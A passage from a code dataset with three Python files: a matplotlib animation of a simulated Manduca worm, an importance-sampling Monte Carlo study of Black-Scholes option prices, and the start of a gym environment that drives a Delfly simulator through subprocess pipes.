graph2.txt)\n# racing against each other. The two animated worms would be labeled\n# 'Slow worm' and Fast worm'.\n#\n# Another common call might be\n#\tmanducaGraph (1, 20, 'C:\\users\\johnM\\matlab\\graph1.txt')\n# This would take the worm-motion data from graph1.txt, pull out 20 stills at\n# evenly-spaced times, and display them.\n#\n# The worm-data files are typically produced by manducaFitness(), which can\n# be told to save all simulation data into a file.\n\n# Constants.\nFPS = 30\t\t# frames per second.\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport matplotlib.patches as patches\n\ndef manducaGraph (mode, arg, *rest):\n global points\n # Build points[n_frames,15,n_worms]\n # The 2nd dimension is 15: t, 5 x values, 5 leg_locked and 4 muscle_on.\n # The 3rd dimension is always the number of worms to draw one above another.\n # The 1st dimension is the number of frames to time-sequence for each worm.\n if (mode==0):\t\t# video of one or more worms racing.\n # Read the file(s) and build points[n_frames][15 items][n_worms]\n wall_time = int(arg)\n n_frames = 1 + wall_time*FPS\n if (len(rest) & 1 != 0):\n raise Exception ('Missing label name for file')\n\n n_files = len(rest)//2\n labels = [rest[2*f+1] for f in range(n_files)]\n points = np.empty ((n_frames,15,n_files))\n for f in range(n_files):\n points[:,:,f] = read_file (rest[2*f], n_frames)\n elif (mode==1):\t\t# a few stills of one worm.\n # In this mode, we just read one file of data (from one worm).\n # Then we extract 'n_stills' evenly-spaced stills from it to\n # build points[1][15 items][n_stills].\n n_stills = arg\n points = np.empty ((1,15,n_stills))\n pts = read_file (rest[0], n_stills)\n # We now take our N frames, extracted from one worm over time, and\n # pretend that they are 1 frame each from N worms. That will result in\n # a sequence of N stills.\n for st in range(n_stills):\n points[:,:,st] = pts[st,:]\n labels = ['t='+str(100*st/(n_stills-1)) for st in range(n_stills)]\n else:\n raise Exception ('Illegal mode: must be 0 or 1')\n\n # We now have points[n_display_timepoints][15][n_worms]. Run the movie.\n display (points, labels)\n\n# Inputs:\n# -\tfile: a filename. The file has one line per simulation timepoint.\n#\tEach line is comma-separated values with the format\n#\ttime, x1,x2,x3,x4,x5, lock1...lock5, musc1...musc5\n# - n_frames: the number of frames to return. So if the file contains data\n#\tfrom t=0 to t=100 and we want to return 3 frames, then we will sample\n#\tevery 50s of simulated time.\n# Return a 2D array where row #i is the simulation data at frame #i.\n# So the first row is for t=0. The last row is for the simulation end time \n# which is always t=100).\n# The returned array has the same number of columns (with the same meaning) as\n# the simulation file.\ndef read_file (file, n_frames):\n print ('Sampling file', file, 'to create',n_frames,'frames.')\n\n # Read the file, starting at the 2nd line (the top line is a comment).\n # Now we have an array where each line is\n #\t(time, x1,x2,x3,x4,x5, lock1...lock5, musc1...musc5)\n with open (file, 'r') as fp:\n lines = fp.readlines() # one list item per line.\n # The top line is just a comment\n del lines[0]\n n_rows = len(lines)\n n_cols = len(lines[0].split(','))\n # Do a double-nested list comprehension to get the data.\n pts_list = [[float(val) for val in line.split(',')] for line in lines]\n raw = np.array (pts_list)\n\n # Sanity check that we have 15 columns.\n assert (raw.shape[1] == 15) # time, x1-5, 5 lock values, 4 muscles.\n # Sanity check that the leg-lock values are all 0 or 1.\n assert ((raw[:,6:11]==0) | (raw[:,6:11]==1)).all()\n # And the muscle values are all 0 or 100.\n assert ((raw[:,11:15]==0) | (raw[:,11:15]==100)).all()\n\n # How often must we sample to get n_frames frames?\n # Note the .00001; we want to ensure that the final value of desired_t below\n # is not actually *bigger* than raw[-1,0]; that would make us skip the last\n # point\n t_final = raw[-1,0] - .00001\n interval = t_final/(n_frames-1)\n\n # Now do the interpolation.\n # Note that the file may occasionally have such small timesteps that,\n # when we print out with finite precision, it seems like two consecutive\n # rows share the same time. The algorithm below is robust to that.\n\n # It should always be true that desired_t = interval * (points_row-1).\n desired_t = 0\t\t# The timepoint we want numbers for.\n points_row = 0\t\t# We will put this row in points(points_row,:).\n\n # The big picture: this loop keeps stepping through 'raw' until desired_t\n # is in [row r.time, row r+1.time]. Then it interpolates to find the data at\n # desired_t (and any other desired timepoints that are also in the interval)\n # The first time around the loop, desired_t=0 and the interval really is\n # closed on the left; afterwards, it is always (].\n # At the bottom of this loop, we will always have desired_t > raw[r+1].time,\n # since we will have kept incrementing desired_t until it is out of the\n # interval.\n points = np.empty((n_frames,15))\n for r in range(raw.shape[0]-1):\t# For every row pair (r,r+1)\n time1 = raw[r,0]\t\t# timepoint for this table row\n time2 = raw[r+1,0]\t\t# timepoint for the next table row\n while (desired_t <= time2):\n inter = interpolate(raw,r,desired_t)\n points[points_row,:] = interpolate(raw,r,desired_t)\n desired_t += interval\n points_row += 1\n return (points)\n\n# Given:\n#\t- raw: an array of (time, x1,x2,x3,x4,x5,lock1...lock5) for all\n#\t timepoints that were integration timesteps.\n#\t- t: the timepoint we really want.\n#\t- r: says where to find t=next_interval in 'raw'.\n# Assume that the desired time 't' obeys raw(r,1)<= t <= raw(r+1,1).\n# Perform linear interpolation based on that time and return a full 15-element\n# row vector where:\n#\t- [0] is the desired time 't'\n#\t- [1:5] are the interpolated 'x' positions of the five body segments.\n#\t- [6:10] are the lock conditions from raw(r,6:10)\n#\t- [11:14] are the muscles from raw(r,11:14).\ndef interpolate (raw,r,t):\n ###print ('Interpolating row',r,'and',r+1,'for time=',t)\n assert ((raw[r,0]<=t) & (raw[r+1,0]>=t))\n frac = (t-raw[r,0])/(raw[r+1,0]-raw[r,0])\n # Interpolate the X values (1:5). Also interpolate time as a sanity check.\n points = np.empty((15))\n points[0:6] = raw[r,0:6] + frac*(raw[r+1,0:6]-raw[r,0:6])\n assert (abs (points[0]-t) < .0001)\n\n # The leg-lock values just get dragged along.\n points[6:15] = raw[r,6:15]\t\t# Leg-lock values & muscles.\n\n # Very occasionally, the Matlab ODE solver will squish the worm so much that\n # a front leg gets pushed behind a back leg! Fix that here -- we really\n # should fix the ODEs instead :-(, but I've not gotten around to debugging\n # it.\n for i in range (2,6):\n points[i] = max (points[i-1],points[i])\n return (points)\n\n############################################################\n# The rest of the file is for window display\n############################################################\n\n# Set up the plot window.\n# We create axes, scaled so that:\n#\t* x ranges over the min/max x values from the simulation.\n#\t* y ranges from 0 to n_worms; i.e., each worm is allocated a vertical\n#\t space of 1.\ndef display (points, labels):\n n_worms = points.shape[2]\n print ('making',n_worms,'worms')\n\n # Get min & max value in 'points'. Make sure to only min/max over the X\n # values (i.e., columns 1:5), not the leg-locks & muscles.\n x_min = np.min(points[:,1:6,:])\n x_max = np.max(points[:,1:6,:])\n\n # Set up the figure and its axes.\n fig,axes = plt.subplots()\n axes.axis ([x_min,x_max,0,n_worms])\n axes.set_autoscale_on(False)\n # print ('x limits=', axes.get_xlim(), ', y limits=', axes.get_ylim())\n\n draw_labels (labels, axes)\t\t# Label each worm with text on the left\n init_pats(n_worms, axes)\t\t# Create all of the moving shapes\n\n msecPerFrame = 1000/FPS\n ani = animation.FuncAnimation(fig, per_frame, frames=points.shape[0],\n interval=msecPerFrame, blit=True,\n repeat=False)\n print (\"Finished animation\")\n plt.show()\n\n# Create all of the rectangles that make up the legs and body segments for all\n# of the worms. Just put them anywhere at all; per_frame() will move them.\n# Each worm has:\n# - 5 legs. A leg is a single vertical rectangle.\n# - 4 body segments. Each one is a horizontal rectangle (perhaps with a bit of\n# curvature), as well as a horizontal line in it if the segment's muscle is on\n# We keep all of these objects in\n# - Legs[5][n_worms]\n# - BodySegs[4][2][n_worms]. For this, [*][0][*] is the main-segment rectangle,\n# and [*][1][*] is the corresponding muscle-on band.\ndef init_pats(n_worms, axes):\n global legs, bodySegs, allPatches\n legs = np.empty ((5, n_worms), dtype=object)\n bodySegs = np.empty ((4, 2, n_worms), dtype=object)\n\n for w in range(n_worms):\n for l in range(5):\t# Build the red legs\n pat = patches.Rectangle ((0,0),.1,.1, facecolor='r')\n axes.add_patch (pat)\n legs[l][w] = pat\n\n for bs in range(4):\n pat = patches.Rectangle ((0,0),.1,.1, facecolor='g')\n axes.add_patch (pat)\t# Green body segments\n bodySegs[bs][0][w] = pat\n pat = patches.Rectangle ((0,0),.1,.1, facecolor='k')\n axes.add_patch (pat)\t# Black muscle-on bands\n bodySegs[bs][1][w] = pat\n\n # Collect up all of the rectangles into one big list, so that per_frame()\n # can return the list.\n allPatches = [legs[l][w] for l in range(5) for w in range(n_worms)]\n bs = [bodySegs[bs][0][w] for bs in range(4) for w in range(n_worms)]\n m = [bodySegs[bs][1][w] for bs in range(4) for w in range(n_worms)]\n allPatches.extend (bs)\n allPatches.extend (m)\n\n# The per-frame animation function.\n# Inputs: 'points' is a full array with[n_timepoints][data][n_worms] (where\n#\tn_timepoints is the number of frames to be displayed).\n# Remember that our display axes are:\n#\t* x ranges over the min/max x values from the simulation.\n#\t* y ranges from 0 to n_worms; i.e., each worm is allocated a vertical\n#\t space of 1.\ndef per_frame (f):\n global legs, bodySegs, points, allPatches\n for y in range(legs.shape[1]):\t# For each worm (& draw worm #i at y=i)\n # Make a slice with just this frame & worm. It has [0:5]=legX,\n # [6:10]=legLocked, [10:14]=muscle\n pts = points[f,1:,y]\n leg_width=30\n for l in range(5):\n legX = pts[l]; lock=pts[l+5]\n # A leg is 'width' wide, centered at 'x'.\n # Its top is at y+.5; it drops down to y+(lock?.3:.4).\n x_l = legX-leg_width/2\n y_b = y + (.4 - lock/10)\n legs[l][y].set_bounds (x_l,y_b, leg_width, y+.5-y_b)\n\n for bs in range(4):\n x1 = pts[bs]; x2=pts[bs+1]; musc=pts[bs+10]\n # Draw the segment from x1+(leg_width/2) to x2-(leg_width/2).\n # However, it may be that x2-x1 <= leg_width, in which case the body\n # part would vanish -- in that case, we pretend that leg is skinnier\n if (x1 + leg_width >= x2):\n leg_width = (x2-x1)/4\n\n # The height goes from y=.7 to y=.5.\n # So the LL is (x1+(leg_width/2),.5).\n LL_x = x1+(leg_width/2)\n dx = x2-(leg_width/2) - LL_x\n bodySegs[bs][0][y].set_bounds (LL_x,.5+y, dx,.2)\n\n # If the muscle is on, draw a black band across the segment.\n bodySegs[bs][1][y].set_visible (musc==100)\n bodySegs[bs][1][y].set_bounds (LL_x,.58+y, dx,.04)\n\n # We must return a list of everything that's moving this frame. Just assume\n # that everything moves (which it mostly does), and thus return the same\n # list of all rectangles all the time.\n return allPatches\n\n# Draw the names of the worm(s), on the left side of the screen.\ndef draw_labels (labels, axes):\n L = len(labels)\n for i,label in enumerate(labels):\n y = (i+.5)\n axes.text (.05,y,label)\n\n# Actually run the program.\n# manducaGraph (0, 30, 'crawl6_final_output.txt', 'worm@20')","sub_path":"5_ManducaModel/manducaGraph.py","file_name":"manducaGraph.py","file_ext":"py","file_size_in_byte":13418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"384535754","text":"import math\nimport numpy as np\nfrom scipy import special, integrate, optimize\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm as gauss\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfrom numpy import sqrt, pi, exp, log\nfrom scipy.linalg import norm\n\n# import mpmath as mp\n# from mpmath import sqrt, exp, log, pi, norm\n\nfrom blackscholes import *\n\n# Robbins-Monro (RM) iterations\nM = 500\n# Monte Carlo (MC) iterations\nN = 500000\n\ns0 = 100\nT = 1\nr = 0.05\nsigma = 0.2\n# strike price\nK = 1.4*s0\n# s0 = 1\n# T = 1\n# r = 0\n# sigma = 1\n\nBS = BlackScholes(s0, r, sigma, T)\n\n\ndef F(x):\n e = exp(x) - K\n if e > 0:\n return 50 * e\n else:\n return 0\n\ndef H(theta, x):\n xi = (sqrt(10) - 2) / 3 * theta\n if x < log(K) - xi:\n return 0\n # a = (theta - xi - x) * exp(-(x+xi)**2 + 0.5*(x+xi-theta)**2 + 0.5*x**2 - 0.25*(x-xi)**2 - 100*norm(theta))\n # return F(x+xi)**2*a\n a = (theta - xi - x) * exp(-1/4*x**2 - (2/3 + sqrt(10)/6)*x*theta + 2*x + (2*sqrt(10)/3 - 4/3)*theta)\n return a\n\ndef Hexpl(theta, x):\n return F(x)**2 * (theta - x) * exp(-0.75*x**2 + 0.5*(x-theta)**2 - 0.5*theta**2 - norm(theta))\n\ndef RM(theta, x):\n if x < log(K):\n return 0\n # a1 = (theta - x)*exp(-0.5*x**2 + 0.5*(x-theta)**2 - (3/2+1)*norm(theta)**2)\n a1 = (theta - x)*exp(-0.5*x**2 + 0.5*(x-theta)**2)\n # print(a1)\n if a1 == 0:\n print('NULL!!')\n return 0\n elif a1 < 0:\n a = sqrt(-a1)\n return -(50*(exp(x + log(a)) - K*a))**2\n else:\n a = sqrt(a1)\n return (50*(exp(x + log(a)) - K*a))**2\n\ndef RMput(theta, x):\n # if x > log(K):\n # return 0\n # a1 = (theta - x)*exp(-x**2 + 0.5*(x-theta)**2 - 0.5*norm(theta)**2)\n a1 = (theta - x)*exp(-0.5*x**2 - theta*x - 100*norm(theta))\n if a1 == 0:\n return 0\n elif a1 < 0:\n a = sqrt(-a1)\n return -(50*(exp(x + log(a))))**2\n else:\n a = sqrt(a1)\n return (50*(exp(x + log(a))))**2\n\ndef RMminus(theta, x):\n if x < log(K) + theta:\n return 0\n return (50*(exp(x - theta) - K))**2 * (2*theta - x) * exp(-2*norm(theta))\n # print(a1)\n # if a1 == 0:\n # print('NULL!!')\n # return 0\n # elif a1 < 0:\n # a = sqrt(-a1)\n # return -(50*(exp(x + log(a)) - K*a))**2\n # else:\n # a = sqrt(a1)\n # return (50*(exp(x + log(a)) - K*a))**2\n\ndef RMArouna(theta, x):\n if x < log(K):\n return 0\n # return (50*(exp(x)-K))**2 * (theta - x) * exp(-theta*x + 0.5*norm(theta)**2)\n return (50*(exp(x)-K))**2 * (theta - x) * exp(-theta*x)\n\ndef RMArounaplus(theta, x):\n if x < log(K) - theta:\n return 0\n return (50*(exp(x+theta)-K))**2 * -x * exp(-2*theta*x - norm(theta)**2)\n\n\ndef RMp(theta, x):\n if x < log(K):\n return 0\n # a1 = (theta - x)*exp(-x**2 + 0.5*(x-theta)**2 - 0.5*norm(theta)**2)\n a1 = (theta - x)*exp(-0.5*x**2 - theta*x - norm(theta))\n if a1 == 0:\n return 0\n elif a1 < 0:\n a = sqrt(-a1)\n return -(50*(exp(x + log(a)) - K*a))**2\n else:\n a = sqrt(a1)\n return (50*(exp(x + log(a)) - K*a))**2\n\ndef esscher():\n theta = 0\n for n in range(M):\n pass\n\ndef rhoCall(theta):\n return exp(-2*sigma*sqrt(T)*abs(theta))\n\ndef FCall(x, K):\n e = s0*exp(sigma*sqrt(T)*x + (r-0.5*sigma**2)*T) - K\n if e > 0:\n return exp(-r*T) * e\n else:\n return 0\n\ndef rhoPut(theta):\n return 1\n\ndef FPut(x):\n e = K - s0*exp(sigma*sqrt(T)*x + (r-0.5*sigma**2)*T)\n if e > 0:\n return exp(-r*T) * e\n else:\n return 0\n\ndef adaptiv(rho, F):\n C1 = 1\n C2 = 10 * s0**2\n theta = 0\n for n in range(1, M+1):\n X = np.random.normal()\n theta = theta - C1/(C2 + n) * rho(theta) * F(X-theta)**2 * (2*theta-X)\n\n thetaM = theta\n print('thetaM = ', thetaM)\n\n mu = 0\n gSqSum = 0\n gs = np.zeros(N)\n mus = np.zeros(N)\n for n in range(1, N+1):\n X = np.random.normal()\n g = F(X+theta)*exp(-theta*X - 0.5 * theta**2)\n gSqSum = gSqSum - 1/n * (gSqSum - g**2)\n mu = mu - 1/n * (mu - g)\n theta = theta - C1/(C2 + M + n) * rho(theta) * F(X-theta)**2 * (2*theta-X)\n gSqSum = gSqSum - 1/n * (gSqSum - g**2)\n varest = gSqSum - mu**2\n\n if n % 100000 == 0 or n == N:\n print('theta = ', theta, 'mu = ', mu, 'varest = ', varest)\n\n return thetaM, theta, mu, varest\n\ndef crude(F):\n mu = 0\n gSqSum = 0\n for n in range(1, N+1):\n X = np.random.normal()\n g = F(X)\n mu = mu - 1/n * (mu - g)\n gSqSum = gSqSum - 1/n * (gSqSum - g**2)\n varest = gSqSum - mu**2\n if n % 100000 == 0 or n == N:\n print('mu = ', mu, 'varest = ', varest)\n\n\n\n\n# importance sampling by mean translation\ndef translation():\n # optimize theta by RM\n # theta = log(K)\n # theta = 6.22\n # theta = 0.82\n theta = 0\n for n in range(M):\n X = np.random.normal()\n thetaold = theta\n\n # theta -= 1 / 30000 / (n+1) * RM(theta, X)\n theta -= 1 / (n+1) * RMArouna(theta, X)\n # theta -= 1 / 0.121 / (n+1) * H2(theta, X)\n # theta -= 1 / 4500 / (n+1) * RMminus(theta, X)\n if norm(theta) > sqrt(n):\n print('le le le le Chen!!', theta)\n if n % 2:\n theta = 0.5\n else:\n theta = -0.5\n\n\n if theta != thetaold:\n print(str(thetaold) + ' -> ' + str(theta))\n if n % 1000 == 0:\n print(n, theta)\n input()\n # run MC with optimized theta\n res = np.zeros(N)\n for n in range(N):\n X = np.random.normal()\n res[n] = F(X + theta) * exp(-theta*X - 0.5*theta**2)\n if n % 1000 == 0:\n print(n, np.mean(res[:n+1]), np.var(res[:n+1]))\n\ndiscCall = 0\ndiscPut = 0\ndef call(x):\n global discCall\n e = s0 * exp(-0.5*sigma**2 * T + sigma * x)\n if e > Kprime:\n return e - Kprime\n else:\n discCall += 1\n return 0\n\ndef put(x):\n global discPut\n e = s0 * exp(-0.5*sigma**2 * T + sigma * x)\n if e < Kprime:\n return Kprime - e\n else:\n discPut += 1\n return 0\n\ndef MC():\n resCall = np.zeros(N)\n resPut = np.zeros(N)\n for n in range(N):\n X = np.random.normal(0, sqrt(T))\n resCall[n] = call(X)\n resPut[n] = put(X)\n if n % 1000 == 0:\n mput = np.mean(resPut[:n+1])\n print(n, np.mean(resCall[:n+1]), np.var(resCall[:n+1]), mput, np.var(resPut[:n+1]), s0 - Kprime + mput, discCall, discPut)\n print(exactCall(), exactCallVar(), exactPut(), exactPutVar())\n\ndef plotCallPutPrices():\n plt.figure()\n plt.title('Prices of call and put for different strikes')\n Ks = np.linspace(0.5, 1.5)\n call = [BS.exactCallPrice(K) for K in Ks]\n put = [BS.exactPutPrice(K) for K in Ks]\n plt.plot(Ks, call, label='call')\n plt.plot(Ks, put, label='put')\n plt.xlabel('strike')\n plt.ylabel('price')\n plt.legend()\n\ndef plotCallPutVar():\n plt.figure()\n plt.title('Exact variance of call and put for different strikes')\n Ks = np.linspace(0.5, 1.5)\n callvar = [BS.exactCallVar(K) for K in Ks]\n putvar = [BS.exactPutVar(K) for K in Ks]\n plt.plot(Ks, callvar, 'b', label='call')\n plt.plot(Ks, putvar, 'g', label='put')\n # call2 = [BS.callSquared(K) for K in Ks]\n # put2 = [BS.putSquared(K) for K in Ks]\n # plt.plot(Ks, call2, 'r', label='call2')\n # plt.plot(Ks, put2, 'k', label='put2')\n plt.xlabel('strike')\n plt.ylabel('variance')\n plt.legend()\n\ndef plotISVar():\n plt.figure()\n plt.title('Variance optimization problem (call)')\n for K in [0.6, 0.8, 1.0, 1.2, 1.4]:\n theta = np.linspace(-0.3, 1.6)\n var = [BS.exactCallVar(K, theta) for theta in theta]\n minth = theta[np.argmin(var)]\n line, = plt.plot(theta, var, label=str(K))\n plt.axvline(minth, color=line.get_color())\n\n plt.xlabel(r'$\\theta$')\n plt.ylabel('call variance')\n plt.legend(title='strike', loc='upper left')\n plt.autoscale(tight=True)\n\n plt.figure()\n plt.title('Variance optimization problem (put)')\n for K in [0.6, 0.8, 1.0, 1.2, 1.4]:\n theta = np.linspace(-1.6, 0.0)\n var = [BS.exactPutVar(K, theta) for theta in theta]\n minth = theta[np.argmin(var)]\n line, = plt.plot(theta, var, label=str(K))\n plt.axvline(minth, color=line.get_color())\n\n plt.xlabel(r'$\\theta$')\n plt.ylabel('put variance')\n plt.legend(title='strike', loc='upper left')\n plt.autoscale(tight=True)\n\ndef plotOptimalTheta():\n plt.figure()\n plt.title(r'Optimal $\\theta$ for different strikes')\n Ks = np.linspace(0.5, 1.5)\n optth = [optimize.brentq(lambda th: BS.callSquaredDeriv(s0*K, th), -5, 5) for K in Ks]\n plt.xlabel(r'$K/s_0$')\n plt.ylabel(r'$\\theta_{opt}$')\n plt.plot(Ks, optth)\n\ndef plot3DISVars():\n @np.vectorize\n def getVar(K, theta):\n return BS.exactCallVar(K, theta)\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n K = np.linspace(0.6, 1.4)\n theta = np.linspace(0.3, 1.8)\n # K = np.linspace(0.0, 1.4)\n # theta = np.linspace(-3, 3)\n Km, thetam = np.meshgrid(K, theta)\n z = getVar(Km, thetam)\n minth = []\n minvar = []\n for i in range(len(K)):\n minvar.append(np.min(z[:,i]))\n minth.append(theta[np.argmin(z[:,i])])\n ax.plot(K, minth, minvar, 'r')\n ax.plot_surface(Km, thetam, z, cmap=plt.cm.jet, rstride=1, cstride=1, vmax=0.5)\n ax.set_xlabel('strike')\n ax.set_ylabel(r'$\\theta$')\n\ndef plotVarRM():\n plt.figure()\n plt.title('Call second moment and derivative')\n theta = np.linspace(0.4, 1.0)\n var = [BS.callSquared(K, theta) for theta in theta]\n deriv = [exp(-norm(theta)**2)*BS.callSquaredDeriv(K, theta) for theta in theta]\n plt.plot(theta, var, label='variance')\n plt.plot(theta, deriv, label='derivative')\n plt.xlabel(r'$\\theta$')\n plt.legend()\n\ndef plotISCall():\n x = np.linspace(-10, 10)\n y = 1/sqrt(2*pi*T)*exp(-x**2/(2*T))*(s0*exp(-0.5*sigma**2*T + sigma*sqrt(T)*x)-K*exp(-r*T))\n plt.plot(x, y)\n\ndef testExactVar():\n for K in np.linspace(0.6, 1.4, 5):\n for theta in np.linspace(0.0, 1.6, 5):\n print(K, theta)\n numIntC = integrate.quad(lambda x: BS.callISVar(K*s0, theta, x), -np.infty, np.infty)[0]\n numIntP = integrate.quad(lambda x: BS.putISVar(K*s0, theta, x), -np.infty, np.infty)[0]\n exactC = BS.callSquared(K*s0, theta)\n exactP = BS.putSquared(K*s0, theta)\n print(numIntC, exactC, np.abs(numIntC - exactC) / exactC)\n print(numIntP, exactP, np.abs(numIntP - exactP) / exactP)\n\ndef testCallSquaredDeriv():\n for K in np.linspace(0.6, 1.4, 5):\n for theta in np.linspace(0.0, 1.6, 5):\n print(K, theta)\n numIntC = integrate.quad(lambda x: BS.RM(K, theta, x), -np.infty, np.infty)[0]\n epsilon = 1e-10\n numDerivC = (BS.callSquared(K, theta+epsilon)-BS.callSquared(K, theta-epsilon))/2/epsilon\n exactC = BS.callSquaredDeriv(K, theta)\n print(numIntC, numDerivC, exactC, np.abs(numIntC - exactC) / exactC)\n\ndef testVarEquiv():\n for K in np.linspace(0.6, 1.4, 5):\n for theta in np.linspace(0.0, 1.6, 5):\n numIntC = integrate.quad(lambda x: BS.callISVar(K, 0, x), -np.infty, np.infty)[0]\n print(K, theta, BS.callSquared(K, theta), numIntC, exp(2*theta)*BS.callSquared(K/exp(theta), 0))\n\n\n\ndef main():\n fl = open('adaptiv_call.dat', 'w')\n fl.write('Knorm, exact, mu, thopt, thend, thM, exactvar, varest, vratio\\n')\n for K in [0.4, 0.7, 1.0, 1.2, 1.4]:\n thetaM, thetaend, mu, varest = adaptiv(rhoCall, lambda x: FCall(x, K*s0))\n exakt = BS.exactCallPrice(K*s0)\n exvar = BS.callSquared(K*s0)-exakt**2\n thopt = optimize.brentq(lambda th: BS.callSquaredDeriv(K*s0, th), -5, 5)\n fl.write(str(K) + ', ' + str(exakt) + ', ' + str(mu) + ', ' + str(thopt) + ', ' + str(thetaend) + ', ' + str(thetaM) + ', ' + str(exvar) + ', ' + str(varest) + ', ' + str(exvar/varest) + '\\n')\n\n # crude(FCall)\n # print(BS.callSquared(K)-BS.exactCallPrice(K)**2)\n # print(BS.callSquared(K, theta)-BS.exactCallPrice(K)**2)\n # optth = optimize.brentq(lambda th: BS.callSquaredDeriv(K, th), -5, 5)\n # print('optimal theta = ', optth)\n # testExactVar()\n # testCallSquaredDeriv()\n # testVarEquiv()\n\n # plotCallPutPrices()\n\n # plotCallPutVar()\n # plotISVar()\n # plotOptimalTheta()\n\n # plot3DISVars()\n # plotVarRM()\n # translation()\n # MC()\n # plotISCall()\n\n # plt.show()\n\n # theta = np.linspace(-10000, 10000)\n # # y = [sqrt(integrate.quad(lambda x: RMp(theta, x)**2, log(K), np.infty)[0]) for theta in theta]\n # # y = [sqrt(mp.quad(lambda x: RMp(theta, x)**2, [log(K), mp.inf])) for theta in theta]\n # y = [log(sqrt(mp.quad(lambda x: RMput(theta, x)**2, [-mp.inf, mp.inf]))) for theta in theta]\n # print(y)\n # # y = [sqrt(mp.quad(lambda x: Hexpl(theta, x)**2, [log(K), mp.inf])) for theta in theta]\n # plt.plot(theta, y)\n # plt.show()\n\n # mp.plot(lambda theta: sqrt(mp.quad(lambda x: H(theta, x)**2, [log(K), mp.inf])), [100, 1000000000])\n # mp.plot(lambda theta: sqrt(mp.quad(lambda x: H(theta, x)**2, [log(K), mp.inf])), [100, 1000000000])\n\n # pf = []\n # # for th in [0, 100, 10000, 1000000, 100000000]:\n # x = np.linspace(-5, 5)\n # for th in [0, 1, 2, 10]:\n # pf.append(lambda x: H(th, x))\n # print(pf[-1](0))\n # y = [H(th, x)**2 for x in x]\n # plt.plot(x, y, label=str(th))\n\n # plt.legend()\n # plt.show()\n # mp.plot(pf, [-5,5])\n\n # mp.plot(lambda theta: sqrt(mp.quad(lambda x: Hexpl(theta, x)**2, [log(K), mp.inf])), [100, 1000000000])\n # mp.plot(lambda theta: log(sqrt(mp.quad(lambda x: Hexpl(theta, x)**2, [log(K), mp.inf]))), [100, 1000000000])\n\nif __name__ == '__main__':\n main()\n","sub_path":"normal.py","file_name":"normal.py","file_ext":"py","file_size_in_byte":13890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"21611161","text":"import numpy as np\nimport gym\nfrom gym import spaces\nfrom datetime import datetime\n\nfrom time import sleep\nfrom fcntl import fcntl, F_GETFL, F_SETFL\nfrom os import O_NONBLOCK\nimport Queue\nimport threading\nimport subprocess\n\nclass Simulation():\n \n def __init__(self):\n self.p = None\n \n def start(self, x, y, psi):\n # TODO send initial settings to simulation\n self.p = subprocess.Popen(\"../EvolutionaryLearning/EL\", stdin=subprocess.PIPE,\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n shell=False, universal_newlines=True, close_fds=True)\n # set the O_NONBLOCK flag of p.stdout file descriptor:\n flags = fcntl(self.p.stdout, F_GETFL) # get current p.stdout flags\n fcntl(self.p.stdout, F_SETFL, flags | O_NONBLOCK)\n \n def end(self):\n if self.p is not None and self.p.poll() is None:\n self.p.stdout.flush()\n self.p.stdin.flush()\n self.p.kill()\n self.p.wait()\n\n def write_action(self, action):\n try:\n self.p.stdin.write(str(action) + \"\\n\")\n self.p.stdin.flush()\n except IOError:\n return\n \n def read_state(self):\n result = None\n errors = 0\n while result is None:\n try:\n result = self.p.stdout.readline().strip()\n #except OSError:\n # the os throws an exception if there is no data\n # print '[No more data]'\n except IOError:\n errors += 1\n # print 'not ready'\n if errors > 4:\n self.end()\n sleep(0.1)\n self.start(2,2,0)\n errors = 0\n \n sleep(0.05)\n \n result = np.array([float(i) for i in result.split()])\n return result\n\nclass DelflyEnv(gym.Env):\n metadata = {\n 'render.modes' : ['human', 'rgb_array'],\n 'video.frames_per_second' : 25\n }\n \n def __init__(self):\n \n self.viewer = None\n \n self.max_angle = 2*0.523809524 # 30 deg\n self.action_low = np.array([-self.max_angle, 0.04])\n self.action_high = np.array([self.max_angle, 5])\n self.action_space = spaces.Box(low=self.action_low, high=self.action_high) # angle offset to track\n \n #action_low = -self.max_angle\n #action_high = self.max_angle\n #self.action_space = spaces.Box(low=action_low, high=action_high, shape=(1,)) # angle offset to track\n \n _low = np.array([0,0,0,0,0,0,0,0,0,0,-3.142857143]) # apple detector location, apple detector size, average disparity\n _high = np.array([16,16,16,16,16,16,16,16,16,16,3.142857143])\n self.observation_space = spaces.Box(low = _low, high = _high)\n\n self.observation = np.array([0,0,0,0,0,0,0,0,0,0,0])\n self.state = None\n\n self._seed()\n self._reset()\n self.done = True\n \n self.sim = Simulation()\n \n self.poles = np.array([])\n \n #return observation, reward, done, info\n \n def _step(self, action):\n if self.done is True:\n self.sim.end()\n # reinitialise simulation with new initial conditions\n self.sim.start(2,2,0)\n self.done = False\n self.poles = self.sim.read_state()\n \n # run sim step\n orig_action = action\n action = np.clip(action, self.action_low, self.action_high)\n\n for a in action:\n self.sim.write_action(a)\n \n # read observations\n self.state = self.sim.read_state()\n \n if self.state.size == 0 or self.state[11] >= 0 or self.state[11] < -10:\n self.done = True\n\n if self.state.size >= 12:\n self.observation = self.state[0:11]\n self.reward = self.state[11] # -distance to goal in dm\n #print self.reward, (abs(orig_action[0]) > self.max_angle), 0.1/(abs(orig_action[1]+0.1))\n self.reward = self.reward - (abs(orig_action[0]) > self.max_angle) - 0.1/(abs(orig_action[1]+0.1)) # penalize large actions\n #print self.reward\n \n return self.observation, self.reward, self.done, {}\n \n def _reset(self):\n return self.observation\n \n def _render(self, mode='human', close=False):\n if close:\n if self.viewer is not None:\n self.viewer.close()\n self.viewer = None\n return\n\n screen_width = 600\n screen_height = 600\n\n world_width = 8\n scale = screen_width/world_width\n \n appleWidth = 0.5*scale\n \n delflyWidth = 0.3*scale\n delflyHeight = 0.3*scale\n \n polewidth = 5.0\n polelen = 30.0\n\n if self.viewer is None:\n from gym.envs.classic_control import rendering\n self.viewer = rendering.Viewer(screen_width, screen_height)\n \n # add Delfly\n l,r,t,b = -delflyWidth/2, delflyWidth/2, delflyHeight/2, -delflyHeight/2\n delfly = rendering.FilledPolygon([(l,b), (0,t), (0,t), (r,b)]) # triangle\n self.delflyTrans = rendering.Transform()\n delfly.add_attr(self.delflyTrans)\n self.viewer.add_geom(delfly)\n \n lof = 